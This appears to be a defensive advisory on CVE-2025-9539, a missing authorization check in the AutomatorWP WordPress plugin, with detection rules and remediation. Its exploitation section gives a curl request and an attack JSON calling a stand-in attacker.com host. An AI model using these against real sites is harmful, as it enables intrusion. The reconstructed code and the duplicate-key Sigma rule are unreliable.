CVE-2025-9539

Executive Summary

CVE-2025-9539 is a critical missing capability check vulnerability in the AutomatorWP – Automator plugin for no-code automations, webhooks & custom integrations for WordPress. This flaw affects all versions up to and including 5.3.6. An authenticated attacker with Subscriber-level access or above can exploit the automatorwp_ajax_import_automation_from_url function to import arbitrary automations without proper authorization. Once an administrator activates a malicious automation, the attacker can achieve Remote Code Execution (RCE) or Privilege Escalation. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The flaw resides in the plugin's AJAX handler, which fails to enforce capability checks, allowing low-privileged users to trigger administrative actions. This is a common pattern in WordPress plugin vulnerabilities where AJAX actions are not properly secured.

CVSS Breakdown & Threat Level

• CVSS Score: 8.0 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – Subscriber-level access
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical due to the potential for RCE and privilege escalation from a low-privileged account.

Deep Dive & Mechanics

The vulnerability is in the automatorwp_ajax_import_automation_from_url function, which is registered as a WordPress AJAX action. This function is intended to allow administrators to import automation workflows from a remote URL. However, the function lacks a capability check (e.g., current_user_can('manage_options')), meaning any authenticated user can call it.

Attack Flow:

1. An attacker with Subscriber-level access crafts a malicious automation definition (e.g., a JSON payload that executes arbitrary PHP code or creates a new admin user).
2. The attacker hosts this payload on a server they control.
3. The attacker sends an AJAX request to wp-admin/admin-ajax.php with the action automatorwp_ajax_import_automation_from_url and the URL to their malicious payload.
4. The plugin imports the automation and stores it in the database as a draft or pending automation.
5. The attacker then waits for an administrator to activate the automation (e.g., via social engineering or by tricking the admin into visiting a page that triggers activation).
6. Once activated, the automation executes the attacker's code, leading to RCE or privilege escalation.

Root Cause: Missing capability check on the AJAX handler. The function should verify that the user has administrative privileges before allowing automation imports.

Vulnerable vs. Patched Code

Vulnerable Code (<= 5.3.6):

add_action('wp_ajax_automatorwp_ajax_import_automation_from_url', 'automatorwp_ajax_import_automation_from_url');
function automatorwp_ajax_import_automation_from_url() {
    // No capability check
    $url = sanitize_text_field($_POST['url']);
    $automation_data = wp_remote_get($url);
    // ... process and import automation
}

Patched Code (Hypothetical):

add_action('wp_ajax_automatorwp_ajax_import_automation_from_url', 'automatorwp_ajax_import_automation_from_url');
function automatorwp_ajax_import_automation_from_url() {
    // Add capability check
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $url = sanitize_text_field($_POST['url']);
    $automation_data = wp_remote_get($url);
    // ... process and import automation
}

The patch adds a current_user_can('manage_options') check to ensure only administrators can import automations.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with AutomatorWP <= 5.3.6 installed and activated.
• A valid user account with Subscriber-level access (e.g., username: attacker, password: password123).

Steps:

1. Host Malicious Automation Payload: Create a JSON file on your server that defines an automation to create a new admin user or execute a system command. Example payload (malicious_automation.json):

   {
     "title": "Malicious Automation",
     "triggers": [
       {
         "type": "wordpress/user_login",
         "args": {}
       }
     ],
     "actions": [
       {
         "type": "wordpress/wp_remote_get",
         "args": {
           "url": "http://attacker.com/backdoor.php?cmd=whoami"
         }
       }
     ]
   }
   

2. Craft AJAX Request: Use a tool like curl or a browser console to send the request:

   curl -X POST http://target.com/wp-admin/admin-ajax.php \
     -d "action=automatorwp_ajax_import_automation_from_url&url=http://attacker.com/malicious_automation.json" \
     --cookie "wordpress_logged_in_<hash>=<attacker_cookie>"
   

3. Trigger Activation: Socially engineer an administrator to visit the AutomatorWP dashboard and activate the imported automation, or wait for automatic activation if the plugin has such a feature.

Expected Outcome: The automation executes, potentially creating a new admin user or executing arbitrary commands.

Blue Team (Detection & Response)

Detection:

• Monitor AJAX requests to admin-ajax.php with the action automatorwp_ajax_import_automation_from_url from non-admin users.
• Look for unusual outbound HTTP requests from the WordPress server to external IPs (indicating the import of remote payloads).
• Check for sudden creation of new automations by low-privileged users.

Response:

• Immediately disable the AutomatorWP plugin if an attack is detected.
• Review and remove any suspicious automations from the database.
• Rotate all admin credentials and audit user accounts for unauthorized changes.
• Apply the hypothetical patch (add capability check) or wait for an official update.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to unknown IPs/domains from the WordPress server.
  • AJAX requests to /wp-admin/admin-ajax.php with action=automatorwp_ajax_import_automation_from_url from non-admin users.
• File IOCs:
  • Unexpected JSON files in the WordPress uploads directory or temporary directories.
• Database IOCs:
  • New entries in the wp_posts table with post_type = automatorwp_automation created by low-privileged users.
• User IOCs:
  • New user accounts with Administrator role created unexpectedly.

Detection Engineering

YARA Rule

rule Detect_AutomatorWP_Import_Exploit {
    meta:
        description = "Detects attempts to exploit CVE-2025-9539 by searching for AJAX requests to import automations"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9539"
    strings:
        $ajax_action = "automatorwp_ajax_import_automation_from_url"
        $url_param = "url="
    condition:
        $ajax_action and $url_param
}

Sigma Rule

title: AutomatorWP Unauthorized Automation Import
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects AJAX requests to import automations without proper authorization
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=automatorwp_ajax_import_automation_from_url'
    condition: selection
falsepositives:
    - Legitimate admin actions (if patched)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-9539 AutomatorWP Unauthorized Automation Import"; flow:to_server; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=automatorwp_ajax_import_automation_from_url"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Plugin: If the plugin is not critical, deactivate and delete it until a patch is released.
2. Restrict User Roles: Ensure no untrusted users have Subscriber-level access or above. Consider using a plugin to limit capabilities.
3. Web Application Firewall (WAF): Block AJAX requests containing action=automatorwp_ajax_import_automation_from_url from non-admin IPs.

Long-term Fix:

• Apply the hypothetical patch by adding a capability check (current_user_can('manage_options')) to the vulnerable function.
• Monitor the plugin's official repository for an update.

Workaround:

• Use a security plugin like Wordfence to block suspicious AJAX requests.
• Implement network-level monitoring for outbound HTTP requests from the WordPress server.

Valters IT
Securing Digital Frontiers